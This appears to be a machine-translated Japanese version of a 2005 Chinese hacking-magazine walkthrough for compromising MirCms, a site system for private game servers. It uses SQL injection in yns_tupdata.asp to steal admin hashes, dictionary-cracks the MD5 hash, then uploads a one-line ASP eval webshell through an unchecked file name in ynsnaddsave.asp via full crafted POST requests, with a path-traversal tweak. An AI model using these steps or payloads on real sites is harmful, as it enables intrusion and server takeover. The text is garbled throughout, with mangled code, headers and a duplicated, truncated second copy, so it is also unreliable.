MirCms伝奇私服のWebShellをさらに取得します。
黒防の2005年第6期では、MirCmsにおける投票サブシステムの脆弱性について、ライオンが書いています。読むと、ログイン認証エラーのような脆弱性がある以上、他のより一層利用できるような脆弱性があると思います。本論文ではこのシステムにおけるこれらの脆弱性を利用してそのWebShellを取得する。
一、管理者のアカウントとパスワードを取得する。
サイトのルートディレクトリの下のyns_tupdata.aspにSQLの書き込みホールがあります。管理者のアカウントとパスワードを取得して、下記のコードクリップを見ます。
If。 (Request.QueryString(「t_」id') <> "") The n
rst_MMColParam = Request.QueryString(「t_」id')
End If。
……
rst.Source = "SELECT * FROM tう。タイプ WHERE tう。id。 = " + Replace(rst_u u)MMColParam "'", "''") + ""
変数t(u)IDは単引用符をフィルタしただけでSQL文に送ります。これで使えます。 1 or 1=1の形で注入し、NBIIを開いて注入アドレスを入力します。http://xxx/yns_tupdata.asp?t_id=1 or 1=1はネット上でこのシステムのソースコードにダウンできますので、私達がテーブル名と列名を当てる過程を省きました。
パスワードはMD 5暗号化されています。また、バックグラウンドはSession検証されていますので、私たちは正直にその元のパスワードを解読するしかありません。MD 5を解読するには、よく使う暗号の辞書を使って走ります。その後は運次第です。ここで私はアカウント<雲が知っているなら>のパスワードを得ました。49ba 59abe 56e 057=>123456、OKです。このアカウントで楽屋に登録します。注:私たちはlevelを1とするアカウントを取得するだけで十分です。そして、一般的にこのクラスのアカウントのパスワードは簡単です。
二、さらにWebShellを取得する。
とりあえずyns_を見てみましょう。naddsave.aspのコードの断片
mm_パス = server.MapPath(rst.Fields.Item)dir「.Value」/「&」(rsts.Fields.Item("tsu.)dir").Value"/"
&request.Form(「n_」fpath「」/「&request.Form(」n_fname")
…
セット fout = fso.C reat Text File(mm_パス)
fout.WriteLine pencat
fout.close
プログラムはフォームからn_を取得します。fname後に拡張子検査を行わずに合成しました。path変数は、fso関数を利用してn_で生成されます。fnameはファイル名のファイルです。これは私達がn_を修正しさえすればいいです。fnameの値は xxx.aspは簡単にサーバー上でASP木馬を生成できます。それから、このファイルの内容はどうやって生成されたのか見てみます。
N唵Title=Request.Form("n_"title")
…
mm_template_パス = server.MapPath(「templates/type_」template/type_ソソンtemplate/detail_template.httm")
…
セット fso_ライン = fso.opentextfile(mm_template_パス、1、True)
pencat=fso_ライン.readall
end if
pencat=replace(pencat),"t_"title",n_title)
上から私達はプログラムがdetail_であることが分かります。template.htmの内容を読み込み、関連変数を置き換えてファイルを作成する内容を得ました。ここではt_を利用します。titleという変量を使ってASP木馬コードを書き込みます。試してみます。WinSockを開けます。 Expertはバックグランドで文章を書きます。バッグの内容は以下の通りです。
POST /ynsnaddsave.asp HTTP/1.1
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/
vnd.ms-パワーポイント、 アプリ/msword、 */*
Referer: http://xxx/MirCMS_Add.asp
Acceept Language: zh-cn
コンテント-Type: アプリ/x-www-form-urlencoded
Acceept Ecoding: gzip、 deflate
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422)
Host:xxx.net
Conteet Length:199
Connection: Keep-Alive
Cache-Coontrol: no-cache
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF
n唵tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C 8%E 7%B 9%FB%D 4%C 6%D 6%AA% B 5%C 0&n_mpic=&n_rpic=&n_fname=20053151744666.httm&n_fpath=2005-6-6&n_ダテ=2005-6-6+6%3 A 50%3 A 22&n_content=ttt&MM_insert=form 1
ここで私達はn_をfnameの値を1.aspに変えて、n_titleの値は私達の常用するひと言の木馬に変えて、書き込むASPコードがunicodeコードを使って後での形式をエンコードする必要があることに注意します。SCRIPT%20 RUNAT=SERVER%20 LANGUAGE=
JAVSCRIPT>eval(Request.form('(奛嚔')は、最後に、封緘の大きさを改めて計算することを忘れないでください。Content-Lengthの値を変更します。この部分の知識は、インターネット上の脆弱性を研究している時には、皆さんはすでに研究しましたよね。
POST /ynsnaddsave.asp HTTP/1.1
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/
vnd.ms-パワーポイント、 アプリ/msword、 */*
Referer: http://xxx/MirCMS_Add.asp
Acceept Language: zh-cn
コンテント-Type: アプリ/x-www-form-urlencoded
Acceept Ecoding: gzip、 deflate
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422)
Host:xxx.net
Conteet Length: 261
Connection: Keep-Alive
Cache-Coontrol: no-cache
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF
n唵tid=52&n_tsid=56&n_sid=&n_title=eval(Request.form('啢')% 2 B')&n_author=%C 8%E 7%B 9%FB%D 4%C 6%D 6%AA% B 5%C 0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_ダテ=2005-6-6+6%3 A 50%3 A 22&n_content=ttt&MM_insert=form 1
最後にNCを使って修正した封緘を提出して、MirCMS_に行きます。Html/xxx/年-月-日/下は私達の木馬を探し当てることができて、もちろんウェブサイトの管理人がBTを比較するならばミルCMS_を設置するかもしれません。HtmlカタログではASPファイルは実行できませんが、大丈夫です。n_だけお願いします。fnameの値を.に変更しました。/1.aspをルートディレクトリに切り替えるだけでいいです。WebShellの残りの部分があれば、みんなで見てやってもいいです。
一、管理者のアカウントとパスワードを取得する。
サイトのルートディレクトリの下のyns_tupdata.aspにSQLの書き込みホールがあります。管理者のアカウントとパスワードを取得して、下記のコードクリップを見ます。
If。 (Request.QueryString(「t_」id') <> "") The n
rst_MMColParam = Request.QueryString(「t_」id')
End If。
……
rst.Source = "SELECT * FROM tう。タイプ WHERE tう。id。 = " + Replace(rst_u u)MMColParam "'", "''") + ""
変数t(u)IDは単引用符をフィルタしただけでSQL文に送ります。これで使えます。 1 or 1=1の形で注入し、NBIIを開いて注入アドレスを入力します。http://xxx/yns_tupdata.asp?t_id=1 or 1=1はネット上でこのシステムのソースコードにダウンできますので、私達がテーブル名と列名を当てる過程を省きました。
パスワードはMD 5暗号化されています。また、バックグラウンドはSession検証されていますので、私たちは正直にその元のパスワードを解読するしかありません。MD 5を解読するには、よく使う暗号の辞書を使って走ります。その後は運次第です。ここで私はアカウント<雲が知っているなら>のパスワードを得ました。49ba 59abe 56e 057=>123456、OKです。このアカウントで楽屋に登録します。注:私たちはlevelを1とするアカウントを取得するだけで十分です。そして、一般的にこのクラスのアカウントのパスワードは簡単です。
二、さらにWebShellを取得する。
とりあえずyns_を見てみましょう。naddsave.aspのコードの断片
mm_パス = server.MapPath(rst.Fields.Item)dir「.Value」/「&」(rsts.Fields.Item("tsu.)dir").Value"/"
&request.Form(「n_」fpath「」/「&request.Form(」n_fname")
…
セット fout = fso.C reat Text File(mm_パス)
fout.WriteLine pencat
fout.close
プログラムはフォームからn_を取得します。fname後に拡張子検査を行わずに合成しました。path変数は、fso関数を利用してn_で生成されます。fnameはファイル名のファイルです。これは私達がn_を修正しさえすればいいです。fnameの値は xxx.aspは簡単にサーバー上でASP木馬を生成できます。それから、このファイルの内容はどうやって生成されたのか見てみます。
N唵Title=Request.Form("n_"title")
…
mm_template_パス = server.MapPath(「templates/type_」template/type_ソソンtemplate/detail_template.httm")
…
セット fso_ライン = fso.opentextfile(mm_template_パス、1、True)
pencat=fso_ライン.readall
end if
pencat=replace(pencat),"t_"title",n_title)
上から私達はプログラムがdetail_であることが分かります。template.htmの内容を読み込み、関連変数を置き換えてファイルを作成する内容を得ました。ここではt_を利用します。titleという変量を使ってASP木馬コードを書き込みます。試してみます。WinSockを開けます。 Expertはバックグランドで文章を書きます。バッグの内容は以下の通りです。
POST /ynsnaddsave.asp HTTP/1.1
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/
vnd.ms-パワーポイント、 アプリ/msword、 */*
Referer: http://xxx/MirCMS_Add.asp
Acceept Language: zh-cn
コンテント-Type: アプリ/x-www-form-urlencoded
Acceept Ecoding: gzip、 deflate
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422)
Host:xxx.net
Conteet Length:199
Connection: Keep-Alive
Cache-Coontrol: no-cache
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF
n唵tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C 8%E 7%B 9%FB%D 4%C 6%D 6%AA% B 5%C 0&n_mpic=&n_rpic=&n_fname=20053151744666.httm&n_fpath=2005-6-6&n_ダテ=2005-6-6+6%3 A 50%3 A 22&n_content=ttt&MM_insert=form 1
ここで私達はn_をfnameの値を1.aspに変えて、n_titleの値は私達の常用するひと言の木馬に変えて、書き込むASPコードがunicodeコードを使って後での形式をエンコードする必要があることに注意します。SCRIPT%20 RUNAT=SERVER%20 LANGUAGE=
JAVSCRIPT>eval(Request.form('(奛嚔')は、最後に、封緘の大きさを改めて計算することを忘れないでください。Content-Lengthの値を変更します。この部分の知識は、インターネット上の脆弱性を研究している時には、皆さんはすでに研究しましたよね。
POST /ynsnaddsave.asp HTTP/1.1
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/
vnd.ms-パワーポイント、 アプリ/msword、 */*
Referer: http://xxx/MirCMS_Add.asp
Acceept Language: zh-cn
コンテント-Type: アプリ/x-www-form-urlencoded
Acceept Ecoding: gzip、 deflate
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422)
Host:xxx.net
Conteet Length: 261
Connection: Keep-Alive
Cache-Coontrol: no-cache
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF
n唵tid=52&n_tsid=56&n_sid=&n_title=
最後にNCを使って修正した封緘を提出して、MirCMS_に行きます。Html/xxx/年-月-日/下は私達の木馬を探し当てることができて、もちろんウェブサイトの管理人がBTを比較するならばミルCMS_を設置するかもしれません。HtmlカタログではASPファイルは実行できませんが、大丈夫です。n_だけお願いします。fnameの値を.に変更しました。/1.aspをルートディレクトリに切り替えるだけでいいです。WebShellの残りの部分があれば、みんなで見てやってもいいです。